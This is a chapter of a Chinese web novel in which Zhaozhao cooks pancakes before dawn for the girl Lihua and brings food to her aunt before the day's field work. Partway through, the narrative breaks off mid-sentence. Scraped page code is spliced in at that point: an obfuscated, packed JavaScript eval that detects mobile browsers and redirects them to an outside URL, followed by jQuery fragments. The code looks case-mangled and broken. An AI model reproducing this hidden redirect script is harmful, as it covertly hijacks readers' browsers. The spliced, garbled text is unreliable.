34. 第 34 章

不到4点,昭昭就醒来了。


好在村里没电没网,早睡早起也不费劲。


梨花蜷缩成小小一团,面对昭昭的方向,嘟着小嘴睡得香甜。没有如昨日那般紧绷着神经,眼皮还没撑起就要起来熬猪食。


一切都在变好呢。


借着月光,看了梨花片刻,昭昭把薄被盖在小肚皮上,这才轻手轻脚下床。


在堂屋喝了半杯水,她就到厨房忙活早午饭。


早餐做个白菜鸡蛋饼、红薯米粥,中午还是煲仔饭。


睡前想好了步骤,做起事来也有条不紊。


把米粥都下了锅,她就忙活起白菜鸡蛋饼来。


在盆中舀入三大勺富强粉,半碗温水融化老面头,掺一勺碱水、一勺白糖中和酸味,倒入面盆里用筷子搅成絮状,揉成湿软的面团,在表面涂抹猪油,盖在棉纱发酵。


“没有酵母就是麻烦。”


昭昭嘟哝着伸了一个懒腰。


把红薯粉放入热水中泡发,白菜用糖腌制杀水。这是梨花教她的,用糖腌制杀水,白菜会更脆口好吃。


趁着这个空档,打了五个鸡蛋下锅炒熟,又把煲仔饭的配料也备好了。


等她慢悠悠洗漱完回来,红薯粉也发好了。


昭昭看了眼时间,满意地笑笑,挽起袖子继续干。


切碎红薯粉、鸡蛋,混合拧干水分的白菜,加上老叶不知道珍藏了多久、还算新鲜的虾皮,昭昭终于郑重地拿出秘密武器。


——红烧肉酱汁。


舀了整整两勺,与所有食材均匀混合,香得馋死人的馅料以诱人的色泽新鲜出炉。


把煲仔饭的配料下锅闷煮,又搅搅香浓的红薯粥,昭昭自满地轻挑眉梢。


点火烧锅,双手润了点猪油防粘,动作随意地揪起一团湿面,在手上摊开放入适量的馅料,又跟捏把捏把封口,下锅小火慢煎。


小时候别家小朋友玩橡皮泥,她就偏爱这湿湿软软的面团了。


湿面饼子的好处就是可以缝缝补补,哪里破了补哪里,一点点不完美也不会露馅,妙得很。


但很久没做,动作还是有些生疏。包好三块饼,用锅铲不时翻面观察着火候。


等待的间隙,昭昭看着锅里的面饼,有些失神。


不知道,梨花有没有好好吃饭。


“昭昭。”


身后传来熟悉的声音。


昭昭猛地回头,对上小女孩乌润明亮的眼睛,微怔了一下。


“怎么不喊我起来哩?”梨花跑到昭昭身边,声音脆生生地问。


昭昭回过神来,举起两只油汪汪的手,表情无辜道:“想做好煎饼喊你的。”


梨花撅了一下小嘴巴,又翕动着鼻翼,赞叹道:“好香呀。”


“!”


昭昭脸色巨变,急哄哄给煎饼翻面。


“是黑面做的煎饼呀。”梨花踮着脚看。


“……”这是糊了啊!


昭昭深吸一口气,把糊了一面的煎饼捞出锅,准备撕掉糊面,改成夹饼吃。


“梨花啊,先去洗漱吧。”


“好哩,我很快回来哦。”梨花说完,噔噔噔跑出灶房。


昭昭弯唇笑了笑,收回目光,专注地包起剩下的煎饼。


顺利赶在梨花回来前,把早饭端上了桌。


把红薯粥和煎饼放在梨花面前,浅笑道:“吃饭吧。”


“好好吃啊!”梨花捧着煎饼,被鲜香脆口的煎饼香得直迷糊,“这是梨花吃过最好的饼子啦。”


“我没做过野菜饼,只能给你弄个煎饼喽。”


在小朋友崇拜的目光下,昭昭表面云淡风轻,心里却暗爽了一把。


什么野菜饼,听着就不好吃啦。


“噫?昭昭吃的和我不一样哩?”梨花奇怪道。


“这是夹饼啰,我想尝尝鲜,就做了几个来着。”昭昭轻咳了一下掩饰尴尬。


梨花看着昭昭手中的饼子,又看看自己手中白面烙的饼。


不是还有黑面饼吗?


昭昭把白面饼子让给她,自己吃黑面饼?!


梨花莫名觉得手里的煎饼很烫手,烫得手指头热热的,连鼻腔都跟着热得发胀、发酸。


“只是我随随便便做的煎饼啦,也不至于好吃到落泪了呀。”


用拇指抹去梨花嘴边的碎饼皮,凝视着小女孩蓄满泪的眼睛,昭昭故作娇态地扭捏了一下,眨巴眨巴眼睛逗弄梨花。


梨花破涕为笑,吸了吸鼻子,把面前装煎饼的盘子推到昭昭手边,细声细气道。


“梨花也想吃夹饼呀,咱们交换、好不好嘛?”


昭昭眉眼微动,有些了然了。


也没有拒绝,和梨花交换了一个饼子,提醒道:“这个夹饼啊,吃的时候要捏着两边,别把馅都掉光啦。”


昭昭不是那种不舍得吃喝、委屈自己的人。


自己吃‘夹饼’,只是想着小朋友拿不住这玩意,容易吃得到处都是。


但也不知道梨花脑补了什么,居然还心疼上她了。


那换就换吧,由着她来,左右总能收拾干净的。


“好嘞,我记住啦。”


一瞬涌上心中的情绪,被如常的面色、稳定的情绪所感染着,渐渐平复。


梨花双手接过夹饼,小手指认真捏着饼子,咬了一口。


唔!黑面饼子也好吃!


昭昭可太厉害了呀!


……


两人饱餐一顿,昭昭也不敢耽搁。


把砂锅用布包好,装在背篓里,剩下的煎饼留了三块在家里,其他的都带上送到表舅家,麻烦表嫂中午帮忙热个饭。


这样一来,梨花也不用来回奔波。


累了在树荫下打个盹,让记分员照看一眼就行。


昭昭看着手表,叮嘱道:“你在家里歇着,肚子不撑了,再睡个回笼觉哦。”


梨花很想跟着,但是她记得昨天说好的,只得压下不舍,高高仰着脑袋,瞅着昭昭看。


“我在田里等你,到时候听你说说,回笼觉都睡了多长时间啊。”昭昭试图转移梨花的注意力。


梨花还是有些失落。


昭昭便牵着她回到屋里,把小女孩匆忙绑起来的头发又解开,拿了几本连环画给她。


“我走啦。”


梨花眨了眨眼睛,认真道:“那昭昭一定要等我哦。”


“好,我等梨花。”


昭昭也有些舍不得了,弯腰在梨花脑门上吧唧了一口,又揉揉她的头发,这才快步走出门。


走了一半的路程,提醒上工的铜钟就响了。


她算着时间,匆匆朝着表舅家走去。


把午饭托付给


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15431038|167759||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


表嫂,再赶回空地,人还没到齐。


她松了口气,找到拔秧苗小队中的舅妈。


“吃饭了没?”赵艳握住外甥女的手,关切地打量了好几眼,啧啧称奇道,“还是年轻好呀,这睡一觉,皮肤又水灵了。”


昭昭心里也好奇姜凉的‘漂亮药’是哪里买的,效果好得很,晒伤的地方只薄涂了一层,早上起来就退红了,连手脚上的蚊子包也消了肿。


但她不想提药膏的事,把舅妈拉到一旁,取出油纸包好的煎饼递给她。


“我是吃了才出门的,还多烙了些煎饼,送到家里了。表嫂说您只用了半碗粥,这两张饼先吃着垫垫肚子吧。”


煎饼还是热的。


赵艳捏在手里,暖在心窝,但还是忍不住嗔怪。


“你这小姑娘,一早做这么些东西,哪儿还有踏实觉了?”


“这个简单,不耽误时间的,您快吃了吧,马上就得上工了。”昭昭催促她。


煎饼香味霸道,勾得没存多少粮的肚子咕叽叫唤,赵艳也没矜持了,低头咬了一大口,不住纳罕。


“这馅儿调的鲜香极了,没想到你还有这厨艺,舅妈小瞧你了啊!”


昭昭不解释。


她那一手的好厨艺,之前靠得是梨花,现在倚仗的是姜凉。


但也忍不住琢磨起,今晚再跟姜凉交流厨艺的可能性。


“我午饭也做了,只是中午太阳大,我让梨花早点来田里找我,午饭要麻烦表嫂帮忙热一热,一起送到地里了。”


赵艳听出外甥女对梨花的维护,摇了摇头。


乍一听领养过继一事,她也吓了一跳。


但冷静下来,倒也不急了。


只要大队不出证明,这事就办不成。她和丈夫只须以不赞同不反对的态度来应对,慢慢拖着,等着外甥女自个想明白。


睨着外甥女,也不戳穿她的小心思,只道。


“你啊你!就这点事,你表嫂顺手做了就是,还绷着小脸严肃巴拉的,跟你舅一个怪德行哩。”


昭昭经不住长辈的揶揄,腼腆地笑了笑。


“你俩在这偷吃什么呀?这味道,要人命啊?”宋红莲还饿着肚子,闻到煎饼的味道,顿时就觉得手里揣的冷馒头没法下嘴了。


“我家的东西,要你管啰?”赵艳斜了她一眼。


也没有把昭昭给她带煎饼的事情说与其他人听。都是沾亲带故的,照顾了表舅妈、冷了其他人,总是不好的。


宋红莲是管不上,只能悻悻然啃起干馒头,不知是不是气的,噎得她直翻白眼。


“多大的人了。”陈阿婆骂了声,帮儿媳妇开了水盖,不轻不重塞进她手中。


一口水下去,呼吸顺畅了,宋红莲长长出了口气。


“点名了!”


林勇的声音通过喇叭传开。


宋红莲抓紧时间,大口啃着粗面馒头。人群中不少人如此,都着急忙慌往嘴里塞东西。


不吃不行啊,熬不到中午的。


带着草帽、穿着草鞋的换装知青齐刷刷站在队伍前,被村民们以稀罕的目光打量着。


昭昭站在人群里,忍不住帮着他们社恐了一下。


“昭昭!”


找了半天,徐涛终于寻到了他们的好同志,雀跃地挥着双臂,高声喊道。


昭昭:“……”